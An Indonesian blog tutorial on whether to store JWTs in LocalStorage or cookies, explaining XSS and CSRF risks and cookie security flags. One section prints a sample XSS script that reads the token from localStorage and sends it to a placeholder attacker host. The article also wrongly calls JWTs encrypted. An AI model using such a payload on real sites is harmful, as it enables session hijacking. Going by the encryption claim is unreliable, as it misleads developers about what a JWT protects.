LocalStorage vs Cookies: Panduan Menyimpan JWT di Frontend

Kamu lagi bikin aplikasi web yang butuh autentikasi, terus kepikiran, "JWT-nya enaknya disimpan di mana, ya? Di LocalStorage atau Cookies?"

Tenang, kamu nggak sendirian. Banyak banget yang bingung soal ini, apalagi kalau udah ngomongin soal keamanan kayak XSS dan CSRF.

Salah pilih tempat simpan bisa jadi celah buat hacker! Tapi jangan khawatir, artikel ini bakal kasih kamu panduan praktis, santai, dan mudah dipahami tentang cara terbaik buat nyimpen JWT di front-end biar aplikasi kamu tetap aman dan nyaman dipakai.

Apa Itu JWT?

JWT atau JSON Web Token adalah standar token yang dipakai buat transfer data antar dua pihak dengan cara yang aman. Sederhananya, JWT itu kayak tiket atau "paspor" yang dipakai buat autentikasi di aplikasi web.

Jadi, kalau kamu login ke sebuah aplikasi, kamu dikasih "tiket" (JWT) buat akses fitur-fitur tertentu tanpa harus login ulang terus-terusan.

JWT terdiri dari tiga bagian utama yang dipisah oleh tanda titik (.): header, payload dan signature.

Nah, setiap bagian ini punya fungsinya sendiri. Kita bahas satu-satu, ya:

Header

Di sini isinya informasi dasar tentang token, misalnya tipe token dan algoritma yang dipakai buat enkripsi. Contohnya:

{
  "alg": "HS256",
  "typ": "JWT"
}

Payload

Ini bagian yang paling penting, karena di sinilah data atau "klaim" disimpan. Klaim ini bisa berupa informasi user kayak username, user ID, atau role. Contohnya:

{
  "sub": "1234567890",
  "name": "Sarian",
  "admin": true
}

Signature

Signature ini kayak stempel buat validasi token. Sistem bakal bikin signature dengan menggabungkan header, payload, dan secret key yang hanya server tahu. Tujuannya biar token nggak bisa dimodifikasi oleh pihak lain.

Kenapa JWT Penting?

JWT penting banget buat autentikasi dan otorisasi di aplikasi web, terutama di aplikasi yang berbasis API. Contohnya, kamu login ke sebuah aplikasi, lalu server ngasih kamu JWT buat akses halaman dashboard atau fitur lain. Setelah itu, setiap kali kamu mau buka halaman baru, JWT bakal dikirim lagi ke server buat verifikasi identitasmu.

JWT ini penting karena:

Pertama stateless, artinya server nggak perlu nyimpen informasi tentang user di session atau database. Jadi, lebih efisien.

Kedua aman (kalau dipakai dengan benar): JWT dienkripsi dan ditandatangani, jadi pihak lain nggak bisa ngedit dengan gampang token-nya.

Ketiga portable: JWT bisa dipakai di mana-mana, baik di aplikasi web, mobile, atau bahkan di microservices.

LocalStorage vs Cookies: Mana yang Lebih Aman Buat Simpan JWT?

Banyak developer yang bingung ketika harus milih di mana mau nyimpen JWT di front-end. Dua metode yang paling umum dipakai adalah LocalStorage dan Cookies. Tapi, di antara keduanya, mana yang lebih aman? Yuk kita bahas satu-satu.

LocalStorage

LocalStorage adalah tempat penyimpanan yang disediakan browser buat nyimpen data secara lokal di user. Data yang disimpan di LocalStorage bersifat persistent alias nggak hilang kalau halaman di-refresh atau browser ditutup.

Nah, kalau kita simpen JWT di LocalStorage, kelihatannya praktis banget karena mudah digunakan. Kamu bisa langsung pakai metode JavaScript kayak localStorage.setItem() dan localStorage.getItem() buat nyimpen atau ambil JWT.

Selain itu juga tahan lama, JWT yang disimpan di LocalStorage nggak bakal hilang sampai user hapus manual atau browser datanya di-clear.

Tapi, masalahnya ada di bagian keamanan. Kenapa?

LocalStorage nggak terlindungi dari serangan XSS (Cross-Site Scripting).

Ini artinya, kalau ada kode berbahaya yang berhasil masuk ke halaman web kamu, dia bisa langsung mengakses JWT di LocalStorage dan menggunakannya buat hal-hal yang nggak diinginkan (kayak ngambil alih sesi login).

Jadi, walaupun LocalStorage praktis dan mudah dipakai, dia kurang aman kalau situs kamu nggak benar-benar terlindungi dari XSS.

Cookies

Sementara itu, Cookies adalah data kecil yang disimpan di browser dan dikirim otomatis setiap kali ada request ke server yang relevan. Cookies sering dipakai buat nyimpen session ID, autentikasi, atau preferensi user.

Kalau kita simpen JWT di Cookies, Cookies punya beberapa kelebihan:

Pertama, otomatis dikirim ke server: cookies dikirim secara otomatis setiap kali user mengakses halaman dari domain yang sama, jadi kita nggak perlu set token di setiap request manual.

Kedua, HttpOnly dan Secure Flag: ini adalah fitur keamanan penting yang nggak ada di LocalStorage.

Dengan HttpOnly, cookies cuma bisa diakses sama server, bukan JavaScript, jadi lebih tahan dari serangan XSS. Terus secure Flag bikin cookies hanya dikirim lewat koneksi HTTPS, jadi aman dari sniffing data di jaringan.

Tapi, cookies juga nggak sempurna. Kalau nggak diatur dengan benar, cookies bisa kena serangan CSRF (Cross-Site Request Forgery).

Ini jenis serangan di mana hacker bisa "membajak" request yang dikirim ke server, karena cookies otomatis dikirim bersama request apapun. Tapi, serangan ini bisa diatasi dengan beberapa teknik mitigasi (misalnya pakai token CSRF tambahan).

Jadi, Mana yang Lebih Aman?

Jawabannya adalah tergantung kebutuhan dan situasi. Secara umum:

• Kalau kamu prioritas keamanan, Cookies dengan HttpOnly dan Secure Flag adalah pilihan yang lebih aman, terutama buat aplikasi yang butuh proteksi ekstra dari XSS.

• Kalau kamu butuh kemudahan dan kecepatan, LocalStorage bisa jadi pilihan, tapi kamu harus hati-hati dengan XSS dan pastikan aplikasi kamu aman dari serangan tersebut.

Risiko Keamanan LocalStorage

Salah satu risiko utama kalau kamu nyimpen JWT di LocalStorage adalah serangan yang dikenal sebagai XSS (Cross-Site Scripting).

Ini jenis serangan di mana penyerang berhasil memasukkan kode berbahaya ke dalam halaman web kamu, biasanya lewat input user yang nggak di-sanitize dengan benar.

Kalau kode berbahaya ini masuk, dia bisa dengan mudah mengakses data di LocalStorage, termasuk JWT yang kamu simpan. Ini karena LocalStorage bisa diakses langsung lewat JavaScript.

Jadi, kalau ada script jahat yang berhasil jalan di browser user, dia bisa membaca JWT di LocalStorage dan menggunakannya buat hal-hal yang nggak diinginkan.

Bayangin kayak gini:

Kamu punya aplikasi yang nggak aman, dan ada form input yang ngebolehin user masukin kode JavaScript. Si hacker bisa nulis script di form itu, kayak gini:

<script>
  let token = localStorage.getItem('jwtToken');
  fetch('https://hacker.com/steal-token', {
    method: 'POST',
    body: JSON.stringify({ token })
  });
</script>

Script itu bakal ngambil JWT dari LocalStorage dan ngirimnya ke server hacker. Sejak saat itu, hacker bisa pakai token itu buat ngambil alih akun atau akses fitur yang seharusnya cuma bisa dipakai sama user asli. Serem, kan?

Kapan LocalStorage Jadi Pilihan yang Tepat?

Walaupun LocalStorage rawan XSS, bukan berarti dia selalu harus dihindari. LocalStorage bisa dipakai dengan aman kalau aplikasi kamu aman dari serangan XSS. Ini artinya kamu harus melakukan beberapa langkah pencegahan, seperti:

• Sanitasi input user: jangan pernah percaya input user 100%. Pastikan kamu memfilter atau men-sanitize data yang masuk supaya nggak ada kode berbahaya yang bisa dieksekusi.

• Gunakan content security policy (CSP): CSP adalah header keamanan yang bisa kamu tambahkan di aplikasi web untuk membatasi apa aja yang bisa dijalankan di halaman web. Misalnya, dengan CSP, kamu bisa blokir eksekusi script dari sumber yang nggak dikenal.

• Hindari inline JavaScript: karena ini bisa dimanfaatkan hacker buat nyisipin kode berbahaya. Pakai file JavaScript eksternal sebagai gantinya.

Kalau langkah-langkah ini diikuti, risiko XSS bisa dikurangi, meskipun nggak sepenuhnya hilang.

Biar lebih mudah dimengerti, kita ambil contoh kasus XSS yang pernah terjadi. Contohnya, ada aplikasi yang punya fitur komentar di mana user bisa nulis pesan. Tapi, developer-nya lupa memfilter input user, jadi si hacker bisa nulis komentar yang isinya kode JavaScript.

Ketika komentar itu ditampilkan di halaman web, kode berbahaya itu dieksekusi, dan si hacker bisa langsung ngambil JWT dari LocalStorage. Token ini bisa dipakai buat login ke akun si user tanpa izin, dan si hacker bisa akses data pribadi atau fitur sensitif lainnya.

Risiko Keamanan Cookies

CSRF (Cross-Site Request Forgery) adalah jenis serangan di mana penyerang mencoba mengelabui browser korban buat ngirim request berbahaya ke server tanpa sepengetahuan si korban.

Kenapa bisa begitu? Karena browser secara otomatis ngirim cookies ke server setiap kali ada request ke domain yang sama.

Contoh sederhananya begini:

Kamu lagi login ke akun bank online. Terus, kamu buka tab baru dan akses website yang ternyata sudah terinfeksi script jahat. Si hacker bisa nulis kode di website tersebut yang secara otomatis bikin browser kamu ngirim request ke akun bank kamu, misalnya buat transfer uang.

Karena cookies JWT dikirim otomatis sama browser, request ini terlihat sah di mata server, padahal kamu nggak pernah bikin request itu.

Bagaimana CSRF Bisa Terjadi?

CSRF terjadi karena browser "percaya" semua request yang dikirim dari domain yang sama itu sah, selama cookies JWT yang dibutuhkan ada di browser. Jadi, hacker cuma perlu memanfaatkan fakta bahwa browser kamu bakal selalu ngirim cookies yang ada ke server.

Misalnya, si hacker bikin form tersembunyi di website berbahaya yang secara otomatis melakukan POST request ke server bank kamu ketika kamu membuka halaman itu.

Karena kamu masih login dan JWT disimpan di cookies, request itu jadi terlihat seperti kamu yang mengirimnya, padahal kamu nggak sadar apa yang terjadi.

Bagaimana Cara Mencegah CSRF?

Meskipun CSRF kelihatan serem, sebenarnya ada beberapa cara untuk mencegahnya. Ini dia beberapa langkah yang bisa kamu ambil kalau nyimpen JWT di cookies:

Gunakan CSRF token: salah satu cara paling populer buat mencegah CSRF adalah dengan menambahkan CSRF token. Ini adalah token unik yang disisipkan di setiap form atau request.

Server bakal cek apakah CSRF token yang dikirim cocok dengan yang server buat sebelumnya. Kalau nggak cocok, server bakal tolak request tersebut.

SameSite Attribute: di cookies modern, ada atribut SameSite yang bisa dipakai buat ngebatasi kapan cookies dikirim.

Kalau kamu set SameSite=Strict, cookies JWT cuma bakal dikirim dalam request yang berasal dari domain yang sama. Ini efektif buat mencegah serangan CSRF dari domain lain.

Gunakan HttpOnly dan Secure Flag: ini dua atribut penting yang bikin cookies kamu lebih aman:

HttpOnly, cookies dengan HttpOnly nggak bisa diakses oleh JavaScript, jadi lebih aman dari XSS.

Secure, cookies dengan Secure flag cuma dikirim lewat koneksi HTTPS, jadi lebih aman dari sniffing data di jaringan.

Apa Saja Kelemahan Cookies?

Meskipun cookies bisa diproteksi dengan berbagai cara, ada kelemahan yang perlu kamu waspadai.

Seperti ukuran yang terbatas: cookies punya limit ukuran, biasanya sekitar 4KB per cookie. Jadi kalau JWT kamu besar (misalnya kalau payload-nya banyak data), ini bisa jadi masalah.

Cookies otomatis terkirim di setiap request, artinya kalau server kamu banyak request yang nggak butuh autentikasi, ini bisa bikin overhead yang nggak perlu.

Best Practices Simpan JWT di Front-End

Seperti yang udah kita bahas sebelumnya, kalau tujuan utama kamu adalah keamanan, maka solusi terbaik buat nyimpen JWT di front-end adalah menggunakan HttpOnly cookies.

Dengan HttpOnly, cookies hanya bisa diakses oleh server, dan JavaScript di browser nggak bisa mengutak-atiknya. Ini cara paling efektif buat melindungi JWT dari serangan XSS.

Selain itu, jangan lupa tambahin Secure flag supaya cookies hanya dikirim lewat koneksi HTTPS. Jadi, JWT kamu aman dari serangan sniffing di jaringan (pas kamu akses Wi-Fi publik).

Best practice buat nyimpen JWT di Cookies:

• Set HttpOnly: Pastikan cookies hanya bisa diakses server, bukan JavaScript.

• Set Secure: Hanya kirim cookies lewat HTTPS.

• Set SameSite: Tambahin atribut SameSite=Strict buat cegah CSRF.

Gunakan LocalStorage dengan Hati-Hati

Kalau kamu memutuskan buat pakai LocalStorage, pastikan kamu siap buat menangani risiko keamanan yang ada, terutama XSS.

LocalStorage bisa dipilih kalau kamu butuh kontrol penuh di client-side, tapi kamu harus ekstra hati-hati dan mengambil beberapa langkah pencegahan, seperti:

Sanitasi input user, jangan biarkan user memasukkan data tanpa difilter dulu. Misalnya, kalau aplikasi kamu punya form atau input user, pastikan kamu menggunakan library seperti DOMPurify buat memfilter data dari potensi kode jahat.

Gunakan content security policy (CSP), dengan menambahkan header CSP, kamu bisa membatasi eksekusi JavaScript hanya dari sumber yang dipercaya. Ini bisa membantu mencegah XSS yang mencoba mencuri JWT dari LocalStorage.

Meskipun LocalStorage lebih praktis buat nyimpen JWT, pastikan kamu nggak meremehkan ancaman keamanan yang ada.

Jangan Simpan Informasi Sensitif di JWT

JWT biasanya dipakai buat menyimpan data klaim seperti user ID atau role (misalnya admin atau bukan), tapi pastikan kamu nggak pernah nyimpen informasi sensitif kayak password, nomor kartu kredit, atau data pribadi penting lainnya di dalam JWT.

JWT bisa di-decode dengan mudah, jadi meskipun ditandatangani dan diverifikasi, isi datanya tetap bisa dibaca oleh siapa saja. Kalau kamu butuh menyimpan data sensitif, simpanlah di server atau gunakan metode enkripsi yang lebih kuat.

Atur Masa Berlaku JWT (Expiry Time)

Salah satu best practice yang sering diabaikan adalah mengatur masa berlaku (expiry) dari JWT. Jangan biarkan JWT berlaku selamanya, karena semakin lama token aktif, semakin besar risikonya disalahgunakan.

Dengan mengatur expiry time, misalnya hanya beberapa jam atau satu hari, kamu mengurangi risiko serangan jangka panjang. Kalau token sudah expired, user harus login lagi dan dapatkan token baru.

Gunakan exp di payload JWT buat atur kapan token kadaluarsa, seperti ini:

{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true,
  "exp": 1700000000
}

Gunakan Refresh Token dengan Bijak

Satu lagi cara buat meningkatkan keamanan adalah dengan menggunakan refresh token. Daripada ngasih JWT dengan expiry yang panjang, kamu bisa atur JWT supaya cepat kadaluarsa dan menggunakan refresh token buat ngambil JWT baru tanpa perlu user login ulang.

Refresh token biasanya disimpan di HttpOnly cookies juga, dan JWT baru bisa diambil dengan request ke server pakai refresh token ini. Ini cara yang lebih aman daripada bikin JWT dengan waktu kadaluarsa yang panjang.

Kesimpulan: Pilih yang Mana?

Setelah kita bahas panjang lebar soal LocalStorage vs Cookies, sekarang saatnya ambil kesimpulan: metode mana yang lebih baik buat nyimpen JWT? Jawabannya sebenarnya tergantung pada kebutuhan dan prioritas aplikasi kamu, terutama dari segi keamanan dan kemudahan.

Kapan Harus Pakai Cookies?

Kalau keamanan adalah prioritas nomor satu di aplikasi kamu, terutama buat aplikasi yang menangani data sensitif atau pengguna premium, maka cookies adalah pilihan terbaik. Kenapa?

• HttpOnly: cookies dengan HttpOnly nggak bisa diakses oleh JavaScript, yang artinya lebih tahan terhadap serangan XSS.

• Secure flag: cookies bisa disetel buat hanya dikirim lewat HTTPS, yang berarti lebih aman dari serangan sniffing di jaringan publik.

• SameSite: dengan SameSite, kamu bisa mencegah CSRF dengan membatasi kapan Cookies dikirim.

Cookies cocok banget buat aplikasi yang butuh proteksi ekstra dari serangan di browser. Misalnya, aplikasi perbankan, aplikasi yang menyimpan data pribadi penting, atau layanan premium di mana akses user sangat berharga.

Tapi, ingat: cookies juga punya kelemahan, terutama dalam hal overhead karena cookies dikirim otomatis di setiap request, bahkan kalau request itu nggak perlu autentikasi.

Kapan Harus Pakai LocalStorage?

Kalau kamu butuh solusi yang mudah dan lebih praktis, atau aplikasi kamu nggak terlalu rentan terhadap serangan XSS, LocalStorage bisa jadi pilihan yang tepat.

Misalnya, aplikasi sederhana, landing page yang nggak menyimpan data sensitif, atau aplikasi yang tidak mengelola banyak data pribadi.

Keunggulan LocalStorage:

• Mudah digunakan: kamu bisa menyimpan dan mengakses JWT dengan mudah lewat metode JavaScript seperti localStorage.getItem() atau localStorage.setItem().

• Kontrol penuh di client-side: kamu punya kendali penuh atas data di sisi browser tanpa perlu bolak-balik request ke server setiap saat.

Namun, perlu diingat bahwa LocalStorage rentan terhadap serangan XSS, jadi pastikan kamu sudah mengamankan aplikasi kamu dengan baik. Kalau kamu yakin aplikasi kamu aman dari input berbahaya atau sudah menggunakan teknik mitigasi XSS, LocalStorage bisa jadi pilihan praktis.

Kapan Menggabungkan Keduanya?

Kadang-kadang, solusi terbaik adalah menggabungkan keduanya. Misalnya, kamu bisa menyimpan refresh token di HttpOnly cookies buat keamanan, dan JWT yang punya masa berlaku pendek bisa disimpan di LocalStorage buat keperluan client-side.

Dengan strategi ini:

• Kamu menjaga keamanan refresh token (yang bisa dipakai buat ambil JWT baru) dengan menyimpannya di cookies yang terlindungi.

• JWT bisa lebih mudah diakses di LocalStorage buat menghindari overhead mengirim cookies di setiap request.

Ini solusi hybrid yang bisa memberi balance antara kemudahan dan keamanan, terutama buat aplikasi yang punya user experience tinggi tapi tetap perlu jaga keamanan.

Itu dia pembahasan kita soal "LocalStorage vs Cookies: Panduan Praktik Terbaik Menyimpan JWT di Front-End". Dengan memahami kelebihan dan kekurangan dari setiap metode, kamu bisa lebih bijak dalam memutuskan mana yang paling cocok buat aplikasi kamu.

Kalau kamu punya pertanyaan atau mau diskusi lebih lanjut, feel free buat nanya ya dikolom komentar!

Mau dapet tips dan trik JavaScript lainnya? terus ikuti newsletter saya dan jangan ketinggalan artikel baru setiap minggunya!

Selain itu temen-temen juga bisa order ebook saya untuk pembahasan yang lebih lengkap serta panduan dari awal sampir akhir: berikut linknya: ebook javascript